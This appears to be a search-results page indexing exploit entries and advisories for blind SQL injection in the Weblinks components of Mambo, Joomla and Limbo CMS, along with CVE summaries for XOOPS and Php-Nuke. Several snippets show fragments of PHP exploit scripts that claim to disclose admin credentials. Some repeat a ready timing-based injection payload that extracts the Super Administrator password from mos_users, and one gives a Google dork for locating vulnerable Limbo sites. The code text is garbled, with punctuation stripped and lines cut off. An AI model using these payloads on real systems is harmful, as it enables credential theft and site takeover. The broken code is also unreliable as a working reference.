143 matches found
Mambo <= 4.6rc1 (Weblinks) Remote Blind SQL Injection Exploit (2)
Exploit for unknown platform in category web applications ================================================================= Mambo 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$strin...
Mambo <= 4.6rc1 (Weblinks) Remote Blind SQL Injection Exploit (2)
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "Mambo = 4.6rc1 'Weblinks' blind SQL injection / admin credentials\r\n"; echo "disclosure exploit ii quicker and more effective version, but it floods\r\n"; echo "admin of links submissions...\r\n"; echo "by rgod...
Mambo 4.6rc1 - Weblinks Blind SQL Injection (2)
Mambo 4.6rc1 - Weblinks Blind SQL Injection 2 !/usr/bin/php -q -d shortopentag=on 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15 $cont=0; $result.="\r\n"; $exa.="\r\n"; return...
Mambo 4.6rc1 - Weblinks Blind SQL Injection (2)
!/usr/bin/php -q -d shortopentag=on 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15 $cont=0; $result.="\r\n"; $exa.="\r\n"; return $exa."\r\n".$result; $proxyregex =...
mambo -- SQL injection vulnerabilities
The Team Mambo reports that two SQL injection vulnerabilities have been found in Mambo. The vulnerabilities exists due to missing sanitation of the title and catid parameters in the weblinks.php page and can lead to execution of arbitrary SQL code...
Joomla <= 1.0.9 (Weblinks) Remote Blind SQL Injection Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "Joomla = 1.0.9 'Weblinks' blind SQL injection / admin credentials\r\n"; echo "disclosure exploit benchmark vesion\r\n"; echo "by rgod [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n"; if $argc5...
Mambo 4.6rc1 - Weblinks Blind SQL Injection (1)
Mambo 4.6rc1 - Weblinks Blind SQL Injection 1 !/usr/bin/php -q -d shortopentag=on mysqld --log=mambo.txt now login, go to "Submit Weblink" feature, in "Name: " field type: 99999' UNION SELECT IF ASCIISUBSTRINGpassword,1,1=0 & 1, benchmark200000000,CHAR0,0 FROM mosusers WHERE usertype='Super...
Mambo <= 4.6rc1 (Weblinks) Blind SQL Injection Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "Mambo = 4.6rc1 'Weblinks' blind SQL injection / admin credentials\r\n"; echo "disclosure exploit benchmark vesion\r\n"; echo "by rgod [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n"; echo "this...
Mambo 4.6rc1 - Weblinks Blind SQL Injection (1)
!/usr/bin/php -q -d shortopentag=on mysqld --log=mambo.txt now login, go to "Submit Weblink" feature, in "Name: " field type: 99999' UNION SELECT IF ASCIISUBSTRINGpassword,1,1=0 & 1, benchmark200000000,CHAR0,0 FROM mosusers WHERE usertype='Super Administrator'/ in mambo.txt we have: 13 Query SELE...
Joomla <= 1.0.9 (Weblinks) Remote Blind SQL Injection Exploit
Exploit for unknown platform in category web applications ============================================================= Joomla = 1.0.9 Weblinks Remote Blind SQL Injection Exploit ============================================================= !/usr/bin/php -q -d shortopentag=on ? echo "Joomla = 1.0...
Mambo <= 4.6rc1 (Weblinks) Blind SQL Injection Exploit
Exploit for unknown platform in category web applications ====================================================== Mambo mysqld --log=mambo.txt now login, go to "Submit Weblink" feature, in "Name: " field type: 99999' UNION SELECT IF ASCIISUBSTRINGpassword,1,1=0 & 1, benchmark200000000,CHAR0,0 FROM...
Joomla! 1.0.9 - Weblinks Blind SQL Injection
Joomla! 1.0.9 - Weblinks Blind SQL Injection !/usr/bin/php -q -d shortopentag=on 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$stri...
Sql injection
SQL injection vulnerability in the weblinks option weblinks.html.php in Limbo CMS allows remote attackers to execute arbitrary SQL commands via the catid parameter...
CVE-2006-2363
SQL injection vulnerability in the weblinks option weblinks.html.php in Limbo CMS allows remote attackers to execute arbitrary SQL commands via the catid parameter...
CVE-2006-2363
SQL injection vulnerability in the weblinks option weblinks.html.php in Limbo CMS allows remote attackers to execute arbitrary SQL commands via the catid parameter...
Limbo CMS (option=weblinks) SQL injection exploit
pre i Limbo CMS option=weblinks sql injection exploit i Cyber-Security.ORG | Security Advisory | Security Edithor by SnoB | Turkish hacking | security! ?php if !isset$GET'host' || !isset$GET'path' || !isset$GET'id' ? Usage: ?echo htmlentities$PHPSELF??host=hostname&path=limbopath&id=userid Exempl...
limboCMS.txt
i Limbo CMS option=weblinks sql injection exploit i Cyber-Security.ORG | Security Advisory | Security Edithor by SnoB | Turkish hacking | security! Usage: ?host=hostname&path=limbopath&id=userid Exemple: ?host=127.0.0.1&path=/limbo&id=1 g Google: inurl:"index2.php?option=rss" OR "powered By Limbo...
XOOPS viewtopic.php Cross Site Scripting Vulnerability
The remote web server contains a PHP script that is prone to cross- site scripting attacks. SPDX-FileCopyrightText: 2004 David Maciejak Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only C...
CVE-2004-2019
The WebLinks module in Php-Nuke 6.x through 7.3 allows remote attackers to obtain sensitive information via an invalid show parameter, which displays the full path in a PHP error message...
CVE-2004-2019
The CVE-2004-2019 entry concerns the WebLinks module of Php-Nuke 6.x–7.3. The vulnerability arises from an invalid show parameter in the WebLinks module, which allows remote attackers to obtain sensitive information by triggering a PHP error that reveals the full filesystem path. Affected softwar...